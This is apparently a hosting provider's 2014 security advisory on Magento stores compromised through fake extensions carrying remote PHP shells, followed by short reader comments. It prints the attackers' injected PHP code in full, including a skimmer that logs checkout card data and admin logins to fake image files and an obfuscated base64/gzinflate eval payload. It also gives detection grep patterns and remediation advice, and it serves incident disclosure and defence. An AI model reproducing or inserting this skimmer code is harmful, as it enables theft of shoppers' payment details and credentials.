Recent Exploit using Fake Magento Extensions

Recent Exploit using Fake Magento Extensions

Jul 25

  • Created: Jul 25, 2014 2:15 PM

We are publishing this post in the hope that all Magento users can utilize this information to determine if their site has been compromised and take the steps required to correct the problem.

We were recently contacted by a client regarding a Common Point of Purchase Investigation that was initiated by a credit card issuer. These investigations are used to pinpoint the source of fraudulent activity reported by card holders. Our security team immediately began a comprehensive internal investigation to pinpoint the root cause of the fraudulent activity on the client’s account. Our security team found evidence of Magento core files having been modified to skim credit card data during the checkout process. The skimmed data would then be logged to a fake image file (actually a text file) located in the media folder, then the attacker would download these text files from a remote server.

Next, our security team began a scan of our entire infrastructure to determine if any other client sites were affected by the same exploit. We found a total of 39 sites (out of 15,000 Community and 1,500 Enterprise Magento stores) hosted with us, were affected by the same exploit. We immediately contacted all of the affected clients before their credit card processing companies had even detected a problem.

We have since cleaned all of the sites that were exploited and contacted all of the affected clients about the exploit.

PLEASE NOTE: If you are hosted with us and have not been contacted by our security team regarding this issue, then we believe your site has not been affected by this exploit. We are committed to the safety and security of your data and we take these issues very seriously. As a precaution, we are running hourly scans of our infrastructure to detect any further compromises.

How the exploit works

The majority of the exploited sites had compromised Magento admin accounts and/or the installation of an extension, which contained a remote PHP shell. Once in, the attacker could upload a file masquerading as an extension. While some files had legitimate code others had no legitimate content; however, all of them had a remote PHP shell in them (which was the attackers’ backdoor into the site).

The following packages are what we have seen used so far:

  • Unigry GiftCert – We see this being installed through Unirgy SimpleUp. It is installed from tmp.istatik.net/Unirgy_GiftCert.zip or fs01n2.sendspace.com/Unirgy_GiftCert.zip. This is a copy of Unigry’s actual extension but with a remote PHP shell added to it. The installation of this package is usually logged to the usimpleup_module table, including the URL it was installed from. The MD5 of this zip file is:
    e72f86221014ebb3c76b035aa5dd31ee
  • RetailTower Feed_Manager – This one has no legitimate code in it, only a remote PHP shell.
  • Unirgy Instaler – This one also has no legitimate code in it either, only a remote PHP shell. The word “Instaler” is spelled incorrectly in the name.

Note: Even though Unigry and RetailTower’s names are used on these extensions, they have nothing to do with the exploit. Their names are simply being used as a way to hide malicious code in a real extension’s name.

Once the remote PHP shell was on the site, the attackers would modify files and add some code. For example:

* app/Mage.php

if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) {
  $log_dir = $_SERVER['DOCUMENT_ROOT'] .'/media/catalog/product/0/z/';
  $log_name = "image314.gif";
  if (!file_exists($log_dir)) @mkdir( $log_dir, 0777, true );
$ARINFO = $_POST;
$ARINFO['date'] = $_SERVER['REQUEST_TIME'];
$ARINFO['ip'] = $_SERVER['REMOTE_ADDR'];
$ARINFO['url'] = $_SERVER['REQUEST_URI'];
if(isset($_COOKIE['frontend'])) $ARINFO['cookie'] = $_COOKIE['frontend'];
if(strpos($_SERVER['REQUEST_URI'], 'checkout'))
{
        if(@filesize($log_dir . $log_name)>1024*1024)
        { @rename($log_dir.'_'.$log_name, $log_dir.'__'.$log_name);
          @rename($log_dir.$log_name, $log_dir.'_'.$log_name);
        }
        $log_entry =  serialize($ARINFO) . "\r\n\r\n";
         $fp=fopen( $log_dir . $log_name, 'a' );
          fputs($fp, $log_entry);
 fclose($fp); }
 if(isset($_POST['login']))
{       $ad_name = "picture.gif";
        $log_entry =  serialize($ARINFO) . "\r\n";
         $fp=fopen( $log_dir . $ad_name, 'a' );
          fputs($fp, $log_entry);
 fclose($fp); }
 }

* includes/config.php

if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) {
  $log_dir = $_SERVER['DOCUMENT_ROOT'].'/media/catalog/product/0/z/';
  $log_name = "image314.gif";
$ARINFO = $_POST;
$ARINFO['date'] = $_SERVER['REQUEST_TIME'];
$ARINFO['ip'] = $_SERVER["HTTP_X_REAL_IP"];
$ARINFO['url'] = $_SERVER['REQUEST_URI'];
if(strpos($_SERVER['REQUEST_URI'], 'checkout') || isset($_POST['password']))
{
        if(@filesize($log_dir . $log_name)>1024*1024)
        { @rename($log_dir.'_'.$log_name, $log_dir.'__'.$log_name);
          @rename($log_dir.$log_name, $log_dir.'_'.$log_name);
        }
        $log_entry =  serialize($ARINFO) . "\r\n";
         $fp=fopen( $log_dir . $log_name, 'a' );
          fputs($fp, $log_entry);
 fclose($fp); }}

* app/code/core/Mage/Core/functions.php (this decodes to pretty much the above)

eval<!--DVFMTSC--> (gzinflate(base64_decode(
'nVRRb9owEH4Gif9wQ1EdTyih1SQeWIGqZBKaaLYQ9kJRZCU2tYDYcxxpHdp/r51B'
.'SEX7sD1Yiu6+7+67704Zjz6P5ZPstDkDF3hRUO06ybdwEWO4ujKBhChFnpuxVJT5'
.'GTSCPmA4dNoAzk5skowruAUnWQTRjyBaoWl4v5wHD3EShWGM1uAhf08zTvyUaGII'
.'vlQiK1PtU//GR8O6Tk721BTq8j3ZUIf/LIWmhbfhrFthrNwPjO9oQn/xQhfuqTnG'
.'MNlvzYdb6+lBfzAY9ECrkgI2dOcumj18CSuddopzaIUyoqmR2RwhCr4vg0WcxLN5'
.'gNZNMJcX0HkYB8nddBq9RpZq907VZTSroJy5J/vvw/DrLFghpkSuaZ6htZmqLpUK'
.'seUnjZfQIVS1Cq2kMLa83a8HKH2i6VaUGmHcaR9anXbLsCbW0oL/prWf4J33gUfX'
.'/ZtPHx1uEYbVOsBEUZup4R5KkFcTetCINxN2Cy24ZL/NfEW0Sv+YV4VortWzMQIK'
.'qjjZVcL/+oSN8O6jesy7VSuHyVsmJM3PZ9GczPhBEBxVMVnag2LyKKJqYnPA0p0o'
.'qE3hIRgR0FiaPaQVMnie231ZTx2S1XcseapLRU8X/E/y4V39xwb/K9+8sfkBvAA='
)));

This code basically writes out a customer’s checkout information (including their credit card details), and other information (possibly including your admin credentials), to a file located in “media/catalog/product/0/z/”, “media/captcha/ws_store/ named picture.gif” or something like “image39.gif,” “image31.gif,” or “image314.gif” (this configuration may vary with a two or three digit number in the filename difference). The file name makes it appear as if it is an ordinary image, but actually it is a text file that is periodically downloaded to acquire the latest checkout information. The exploit even rotates the log files so the older copy will be named “_image31.gif” or “__image31.gif” as the files ream size is 1MB. We have not yet seen more than three of these files in a directory (the older ones having been deleted).

How to detect if your site has been compromised

If you are a Nexcess client, we have already scanned your site and contacted you if any issues were detected. If you did not hear from us, your site is believed to be clean, but feel free to contact us if you have any concerns or questions.

Whether you are a Nexcess client or not, there are a number of methods you can use to check for exploited sites.

See some examples below:

  • Check for fake image files. If you see these, do not open them with your browser, instead, download them to a text editor such as notepad. If you see credit card data or user credentials in the file, then your site has been compromised:
    Example:

    locate --regex 'media/catalog/product/0/z/(_?_?image.*gif|_?_?picture\.gif)'
  • Check for the three modified core files we have seen and verify if anything suspicious is in them:
    locate -0 --regex 'includes/config.php|app/Mage.php|app/code/core/Mage/Core/functions.php' |  xargs -0 grep -lP 'media/catalog/product|media/captcha/ws_store|zib\.gninto\.cso|(?:e(?:val|xec)|shell_exec|passthru).*(?:base64_decode|gzinflate|stripslashes|str_rot13|\$_(?:FILES|GET|POST|REQUEST|HTTP_POST_FILES))|preg_replace\((["'\''])/.+/e\1'
  • Check for the following remote php shells:
    locate -0 --regex '/pass\.php|/base\.php|/phpshell\.php|data\.php'  | xargs -0 grep -Fl 'eval(base64'

Note: Just because a file might be listed does not necessarily mean your site has been compromised. It may just be a false positive.

Recommendations

If your site has been compromised, you should implement these suggestions:

  1. Quarantine the files affected
  2. Change your admin passwords in Magento
  3. Alert your credit card processing company of the breach
  4. Inform your hosting provider of the breach

Even if your site has not been compromised, the following suggestions will help prevent this sort of exploitation (and other similar exploitations) from happening:

  • Do not reuse passwords
  • Use strong passwords. We have a strong password generator, located at: Nexcess.net/resources/tools/
  • Change your password every 90 days per the Payment Card Industry Data Security Standard (PCI DSS) requirement 8.5.9
  • Do not use bad or easily guessable passwords, they need to be at least 12 characters in length and contain both alpha and numeric characters, per PCI DSS requirements 8.5.10 and 8.5.11
  • Use two factor authentications for your Magento admin panel, if possible, per PCI DSS requirement 8.3
  • Everyone who accesses your Magento admin panel needs to have a separate log in – do not share a generic admin account, per PCI DSS requirement 8.5.1
  • Disable or delete accounts that are not used, such as when an employee leaves or a temporary admin account is created, per PCI DSS requirements 8.5.4 and 8.5.5
  • Make sure all the computers you use to access and manage your business are secure. If your personal computer is compromised, this can allow someone access to all of your email and all of the information you send through your browser
  • Perform a code review whenever a new code, or modules have been modified, or installed on your site, per PCI DSS requirement 6.3.2
  • Use version control for all of your code. It is much easier to detect if files are being changed or added to your site, outside of version control.

We hope you find this information useful and, if you have any additional information to add, please follow-up in the comments below.

Posted in: Magento, Nexcess, Security
  • stevether

    Thank you for sharing. I’ll be checking my client’s installation

  • http://sergeif.me/ Sergei Filippov

    Good spotting guys! Thanks for sharing with the community. Spreading the word.

  • http://www.kammalou.com/ Nils Boe Eriksen

    Thank you for sharing this major exploit finding!

  • Nancy

    Can you tell me where is the php shell? I do not find it in the Unigry GiftCert module ? Can you explain more detailly ? So do we need to upgrade the extension ? or what can we do to prevent this next time ?

  • http://www.webcodeman.com Remote PHP Developer

    Awesome Blog,Thanks for sharing Remote PHP Developer

  • http://www.topwebhosts.biz Top Webhosts

    I’ve a question about Magento. Can this application work without InnoDB?